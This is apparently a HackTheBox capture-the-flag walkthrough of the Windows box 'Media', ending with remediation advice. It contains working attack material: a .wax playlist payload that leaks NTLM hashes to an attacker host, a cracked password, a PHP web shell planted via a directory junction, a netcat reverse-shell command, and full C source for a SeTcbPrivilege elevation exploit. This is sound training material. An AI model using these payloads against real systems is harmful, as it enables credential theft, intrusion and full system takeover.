HTB: Media
Media is a medium-difficulty Windows box on HackTheBox featuring a "by-design vulnerability" in Windows Media Player that can be leveraged to steal users' NTLM hashes. In this writeup, I demonstrate how WMP playlist/redirect behavior can be abused to leak NTLM hashes. I also demonstrate exploiting the powerful "SeTcbPrivilege" to gain SYSTEM privileges.
| OS | Difficult | Release Date |
| Windows | Medium | 04 Sep 2025 |
Tools Used
nmap, responder, hashcat, curl, nc, icalcs, visual studio, tcbelevation.exe
Attack Summary
- Identified that uploaded media files may be opened by Windows Media Player.
- Crafted a malicious
.waxfile to steal NTLMv2 hash. - Uploaded the payload via the upload form.
- Captured the NTLMv2 for
enoxuser. - Cracked the hash using
hashcat. - Logged in as via SSH as
enox. - Identified and exploited an arbitrary file upload to get a shell as
NT Authority\Local Service. - Exploited the
SeTcbPrivilegeto get a shell asNT Authority\SYSTEM
Recon
Nmap
I ran nmap to perform an initial scan, and found 3 open TCP ports.
1
2
3
4
5
6
7
8
9
10
❯ nmap -vvv -Pn -p- --max-retries 1 --min-rate 1500 --max-scan-delay 20 -T4 10.129.234.67
<SNIP>
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 127
80/tcp open http syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 87.72 seconds
Raw packets sent: 131126 (5.770MB) | Rcvd: 61 (2.684KB)
I ran nmap again to enumerate the services running on the open ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ nmap -sCV -p 22,80,3389 10.129.234.67
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 15:56 CST
Nmap scan report for 10.129.234.67
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: ProMotion Studio
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: MEDIA
| NetBIOS_Domain_Name: MEDIA
| NetBIOS_Computer_Name: MEDIA
| DNS_Domain_Name: MEDIA
| DNS_Computer_Name: MEDIA
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-13T07:57:37+00:00
|_ssl-date: 2025-10-13T07:57:42+00:00; +1m22s from scanner time.
| ssl-cert: Subject: commonName=MEDIA
| Not valid before: 2025-10-12T07:51:00
|_Not valid after: 2026-04-13T07:51:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1m22s, deviation: 0s, median: 1m21s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.62 seconds
Without valid credentials for SSH (port 22) or WinRDP (port 3389), I proceeded to web enumeration.
TCP 80 - WEB
A web page was presented upon visiting. 
I noticed a file upload form at the bottom of the page. It seemed to expect a video file compatible with Windows Media Player. 
MEDIA\enox
NTLM Hash Stealing
The legacy Windows Media Player is known to be leveraged to steal NTLM hash as detailed in this arcticle. 
In addition, Emails tend not filter for this file extension. I simulated the attack flow by sending myself a
.waxfile via email, downloading it, and then opening it. As a result, my NTLMv2 hash was captured by Responder. Neat:)
I created a payload.wax similar to what was shown in the original article.
1
2
3
4
5
6
7
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://10.10.xxx.xxx\test\1.mp3"/>
</entry>
</asx>
I started responder to capture the hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ sudo responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
<SNIP>
When the file was opened in the backend, the NTLMv2 hash for enox was captured. 
Password Cracking
I ran hashcat and successfully cracked the hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
ENOX::MEDIA:fd2ae9560dd8785e:2d2a0796a21885ab73733c03fbc0bb16:01010000000000008082003a571fdc01f143e3f7df38446700000000020008005a0034005300380001001e00570049004e002d004b0032004e0059005200350041005a0037005a00370004003400570049004e002d004b0032004e0059005200350041005a0037005a0037002e005a003400530038002e004c004f00430041004c00030014005a003400530038002e004c004f00430041004c00050014005a003400530038002e004c004f00430041004c00070008008082003a571fdc0106000400020000000800300030000000000000000000000000300000ac96f923a5fa6238e492fbf82ac6c98932f5e90d64b4e2d13eea3683c1a11e3b0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320031000000000000000000:1234virus@
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ENOX::MEDIA:fd2ae9560dd8785e:2d2a0796a21885ab73733c...000000
Time.Started.....: Mon Oct 13 16:38:27 2025 (6 secs)
Time.Estimated...: Mon Oct 13 16:38:33 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2192.0 kH/s (0.80ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 13337600/14344385 (92.98%)
Rejected.........: 0/13337600 (0.00%)
Restore.Point....: 13332480/14344385 (92.95%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123_pie -> 1234sophie1234!
Hardware.Mon.#1..: Util: 28%
Started: Mon Oct 13 16:38:26 2025
Stopped: Mon Oct 13 16:38:34 2025
enox:1234virus@
Then I logged in via SSH as enox.
1
2
3
4
5
6
❯ ssh enox@10.129.234.67
enox@10.129.234.67's password:
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.
enox@MEDIA C:\Users\enox>
NT Authority\Local Service
Enum
I ran whoami to enumerate user groups and privileges. Nothing interesting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enox@MEDIA C:\Users\enox>whoami /all
USER INFORMATION
----------------
User Name SID
========== ============================================
media\enox S-1-5-21-161898231-563177350-3296918735-1000
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
I ran tree for a quick file enumeration in user directories. Only review.ps1 was present that I could access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
enox@MEDIA C:\Users>tree /f /a
Folder PATH listing
Volume serial number is EAD8-5D48
C:.
+---Administrator
+---enox
| +---Desktop
| | user.txt
| |
| +---Documents
| | review.ps1 <---
| |
| +---Downloads
| +---Favorites
| +---Links
| +---Music
| +---Pictures
| +---Saved Games
| \---Videos
\---Public
It was the automation script for launching the Windows Media Player. Nothing particularly interesting except it executed media files from a prefilled to-do list. I wondered how that list had been created.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
while($True){
if ((Get-Content -Path $todofile) -eq $null) {
Write-Host "Todo is empty."
Sleep 60 # Sleep for 60 seconds before rechecking
}
else {
$result = Get-Values -FilePath $todofile
$filename = $result.FileName
$randomVariable = $result.RandomVariable
Write-Host "FileName: $filename"
Write-Host "Random Variable: $randomVariable"
# Opening the File in Windows Media Player
Start-Process -FilePath $mediaPlayerPath -ArgumentList "C:\Windows\Tasks\uploads\$randomVariable\$filename"
# Wait for 15 seconds
Start-Sleep -Seconds 15
$mediaPlayerProcess = Get-Process -Name "wmplayer" -ErrorAction SilentlyContinue
if ($mediaPlayerProcess -ne $null) {
Write-Host "Killing Windows Media Player process."
Stop-Process -Name "wmplayer" -Force
}
# Task Done
UpdateTodo -FilePath $todofile # Updating C:\Windows\Tasks\Uploads\todo.txt
Sleep 15
}
}
The website was hosted by XAMPP, and the web root was at C:\xmapp\htdocs\.
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\xampp\htdocs> ls
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php
If I could plant a web shell here, I could potentially get a reverse shell in the context of the service account. However, I didn’t have write permission for this directory.
1
2
3
4
5
6
7
PS C:\xampp\htdocs> New-Item -ItemType File -Name test.txt
New-Item : Access to the path 'C:\xampp\htdocs\filename.txt' is denied.
At line:1 char:1
+ New-Item -ItemType File -Name filename.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\xampp\htdocs\filename.txt:String) [New-Item], UnauthorizedAccessException
+ FullyQualifiedErrorId : NewItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.NewItemCommand
I ran icacls.exe to confirm the lack of permissions.
1
2
3
4
5
6
7
8
9
PS C:\xampp\htdocs> icacls.exe .
. MEDIA\Administrator:(I)(OI)(CI)(F)
NT AUTHORITY\LOCAL SERVICE:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX) <---
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
Moving on, in the index.php, the logic for the to-do list was defined.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
// Your PHP code for handling form submission and file upload goes here.
$uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
$firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
$lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
$email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);
// Create a folder name using the MD5 hash of Firstname + Lastname + Email
$folderName = md5($firstname . $lastname . $email);
// Create the full upload directory path
$targetDir = $uploadDir . $folderName . '/';
// Ensure the directory exists; create it if not
if (!file_exists($targetDir)) {
mkdir($targetDir, 0777, true);
}
// Sanitize the filename to remove unsafe characters
$originalFilename = $_FILES["fileToUpload"]["name"];
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
// Build the full path to the target file
$targetFile = $targetDir . $sanitizedFilename;
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";
// Update the todo.txt file
$todoFile = $uploadDir . 'todo.txt';
$todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";
// Append the new line to the file
file_put_contents($todoFile, $todoContent, FILE_APPEND);
} else {
echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
}
}
?>
The following observations were made:
- Each time a file is uploaded, a new directory is created and the file is transferred to that directory. The directory name is the MD5 hash calculated from the submitter’s identity.
- When the submitter’s identity is unchanged, the directory name remains the same across multiple uploads.
- There are no constraints on allowed file extensions, which permits potentially malicious uploads.
Arbitrary File Upload
Based on the above, if I could replace the folder with a symlink to the web root, I could upload arbitrary files there. Uploading and executing a reverse shell in that location would execute under the service account’s context, facilitating lateral movement. I proceeded to attempt to upload a web shell.
By default a normal user has full rights to the C:\Windows\Tasks\ folder. I ran icacls.exe to confirm it.
1
2
3
4
5
6
7
8
9
PS C:\windows\tasks\uploads> icacls.exe .
. Everyone:(OI)(CI)(F) <---
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
I first uploaded an arbitrary file with a new identity, which would cause the server to create a new folder. I noted down the folder name d41d8cd98f00b204e9800998ecf8427e.
1
2
3
4
5
6
7
8
9
10
11
12
enox@MEDIA C:\Windows\Tasks\Uploads>dir
Volume in drive C has no label.
Volume Serial Number is EAD8-5D48
Directory of C:\Windows\Tasks\Uploads
10/13/2025 02:57 PM <DIR> .
10/02/2023 11:04 AM <DIR> ..
10/13/2025 02:57 PM <DIR> d41d8cd98f00b204e9800998ecf8427e <---
10/13/2025 02:57 PM 0 todo.txt
1 File(s) 0 bytes
3 Dir(s) 9,789,378,560 bytes free
Then I deleted the folder.
1
2
3
4
5
6
PS C:\Windows\Tasks\Uploads> rm .\d41d8cd98f00b204e9800998ecf8427e\
Confirm
The item at C:\Windows\Tasks\Uploads\d41d8cd98f00b204e9800998ecf8427e\ has children and the Recurse parameter was not
specified. If you continue, all children will be removed with the item. Are you sure you want to continue?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "Y"): A
Next I created a symlink with the same name, pointing to the web root.
1
2
PS C:\Windows\Tasks\Uploads> cmd /c mklink /J C:\Windows\Tasks\Uploads\d41d8cd98f00b204e9800998ecf8427e C:\xampp\htdocs
Junction created for C:\Windows\Tasks\Uploads\d41d8cd98f00b204e9800998ecf8427e <<===>> C:\xampp\htdocs
I ran ls on it, the web root was listed, confirming the setup.
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Windows\Tasks\Uploads> ls .\d41d8cd98f00b204e9800998ecf8427e\
Directory: C:\Windows\Tasks\Uploads\d41d8cd98f00b204e9800998ecf8427e
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php
Then I uploaded a simple webshell shell.php.
1
<?php system($_REQUEST["cmd"]);?>
The web shell was successfully placed in the web root.
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\xampp\htdocs> ls
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php
-a---- 10/13/2025 3:21 PM 34 shell.php <---
RCE
I ran curl to confirm the RCE was working. The command was executed in the nt authority\local service context.
1
2
❯ curl http://10.129.234.67/shell.php?cmd=whoami
nt authority\local service
I used a URL-encoded Base64 PowerShell payload to get a reverse shell.
1
❯ curl http://10.129.234.67/shell.php?cmd=<url-encoded powershell revshell payload>
1
2
3
4
5
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.xxx.xxx] from (UNKNOWN) [10.129.234.67] 54965
whoami
nt authority\local service
NT Authority/SYSTEM
Enum
I enumerated the user groups and privileges.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PS C:\xampp\htdocs> whoami /all
USER INFORMATION
----------------
User Name SID
========================== ========
nt authority\local service S-1-5-19
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ================================================================================================ ==================================================
Mandatory Label\System Mandatory Level Label S-1-16-16384
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-1488445330-856673777-1515413738-1380768593-2977925950-2228326386-886087428-2802422674 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-383293015-3350740429-1839969850-1819881064-1569454686-4198502490-78857879-1413643331 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-2035927579-283314533-3422103930-3587774809-765962649-3034203285-3544878962-607181067 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-3659434007-2290108278-1125199667-3679670526-1293081662-2164323352-1777701501-2595986263 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-11742800-2107441976-3443185924-4134956905-3840447964-3749968454-3843513199-670971053 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-32-3523901360-1745872541-794127107-675934034-1867954868-1951917511-1111796624-2052600462 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== ========
SeTcbPrivilege Act as part of the operating system Disabled <---
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Interestingly the user had SeTcbPrivilege. It meant “Act as part of the operating system”, and is one of the most powerful privileges in Windows security architecture. It gives a process or account the ability to assume the identity of any user.
SeTcbPrivilege Abuse
There existed a public POC to exploit this privilege. I made minor adaptations and performed some debugging to get it to work.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// TcbElevation - Authors: @splinter_code and @decoder_it
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#define UNICODE 1
#pragma comment(lib, "Secur32.lib")
void EnableTcbPrivilege(BOOL enforceCheck);
BOOL SetPrivilege(HANDLE hToken, wchar_t* lpszPrivilege, BOOL bEnablePrivilege);
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(LPWSTR pszPrincipal, LPWSTR pszPackage, unsigned long fCredentialUse, void* pvLogonId, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry);
int wmain(int argc, wchar_t** argv)
{
if (argc < 3) {
printf("usage: TcbElevation.exe [ServiceName] [CmdLine]\n");
exit(-1);
}
EnableTcbPrivilege(TRUE);
PSecurityFunctionTableW table = InitSecurityInterfaceW();
table->AcquireCredentialsHandleW = AcquireCredentialsHandleWHook; // SSPI hooks trick borrowed from @tiraniddo --> https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82
wchar_t* serviceName = argv[1];
wchar_t* cmdline = argv[2];
SC_HANDLE hScm = OpenSCManagerW(L"127.0.0.1", nullptr, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (!hScm)
{
printf("Error opening SCM %d\n", GetLastError());
return 1;
}
SC_HANDLE hService = CreateService(hScm, serviceName, nullptr, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, cmdline, nullptr, nullptr, nullptr, nullptr, nullptr);
if (!hService)
{
printf("Error creating service %d\n", GetLastError());
return 1;
}
if (!StartService(hService, 0, nullptr))
{
printf("Error starting service %d\n", GetLastError());
return 1;
}
return 0;
}
BOOL SetPrivilege(HANDLE hToken, wchar_t* lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
PRIVILEGE_SET privs;
LUID luid;
BOOL debugPrivEnabled = FALSE;
if (!LookupPrivilegeValueW(NULL, lpszPrivilege, &luid))
{
printf("LookupPrivilegeValueW() failed, error %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
printf("AdjustTokenPrivileges() failed, error %u\n", GetLastError());
return FALSE;
}
privs.PrivilegeCount = 1;
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
privs.Privilege[0].Luid = luid;
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!PrivilegeCheck(hToken, &privs, &debugPrivEnabled)) {
printf("PrivilegeCheck() failed, error %u\n", GetLastError());
return FALSE;
}
if (!debugPrivEnabled)
return FALSE;
return TRUE;
}
void EnableTcbPrivilege(BOOL enforceCheck) {
HANDLE currentProcessToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, ¤tProcessToken);
BOOL setPrivilegeSuccess = SetPrivilege(currentProcessToken, (wchar_t*)L"SeTcbPrivilege", TRUE);
if (enforceCheck && !setPrivilegeSuccess) {
printf("No SeTcbPrivilege in the token. Exiting...\n");
exit(-1);
}
CloseHandle(currentProcessToken);
}
SECURITY_STATUS SEC_ENTRY AcquireCredentialsHandleWHook(LPWSTR pszPrincipal, LPWSTR pszPackage, unsigned long fCredentialUse, void* pvLogonId, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry)
{
LUID logonId;
ZeroMemory(&logonId, sizeof(LUID));
logonId.LowPart = 0x3E7; // here we do the Tcb magic using the SYSTEM LUID in pvLogonId of AcquireCredentialsHandleW call
return AcquireCredentialsHandleW(pszPrincipal, pszPackage, fCredentialUse, &logonId, pAuthData, pGetKeyFn, pvGetKeyArgument, phCredential, ptsExpiry);
}
I built the executable in Visual Studio. 
Next, I transferred TcbElevation.exe and nc64.exe to the target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\programdata> ls
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/10/2023 6:41 AM Amazon
d---s- 10/1/2023 11:45 PM Microsoft
d----- 4/15/2025 9:08 PM Package Cache
d----- 8/26/2025 12:58 PM Packages
d----- 10/10/2023 3:55 AM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 8/27/2025 7:04 AM ssh
d----- 10/2/2023 10:33 AM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 10/2/2023 12:18 AM VMware
-a---- 10/13/2025 3:39 PM 45272 nc64.exe <---
-a---- 10/13/2025 3:40 PM 13312 TcbElevation.exe <---
Then I executed the exploit to get a reverse shell as nt authority\system
1
PS C:\programdata> .\TcbElevation.exe test "C:\Windows\system32\cmd.exe /c C:\Programdata\nc64.exe -e cmd 10.10.xxx.xxx 443"
1
2
3
4
5
6
7
8
9
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.xxx.xxx] from (UNKNOWN) [10.129.245.132] 65133
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system <---
Remediation
Short term
- Block outbound SMB traffic: Preventing outbound SMB connections to untrusted networks will reduce the risk of NTLM credential leakage to rogue servers.
- Restrict permissions on
C:\Windows\Tasks\Uploadsto only the minimum required accounts. - Harden web upload handling, enforce a strict allowlist of extensions and content-type checks.
Medium term
- Restrict NTLM Usage: Use Group Policy to limit or disable NTLM authentication.
- Enforce SMB sgning and encryption: Enabling SMB signing and encryption can help prevent attackers from impersonating legitimate servers and triggering NTLM authentication.
- Audit NTLM usage: Regularly review environment for applications and services still using NTLM, especially legacy systems.

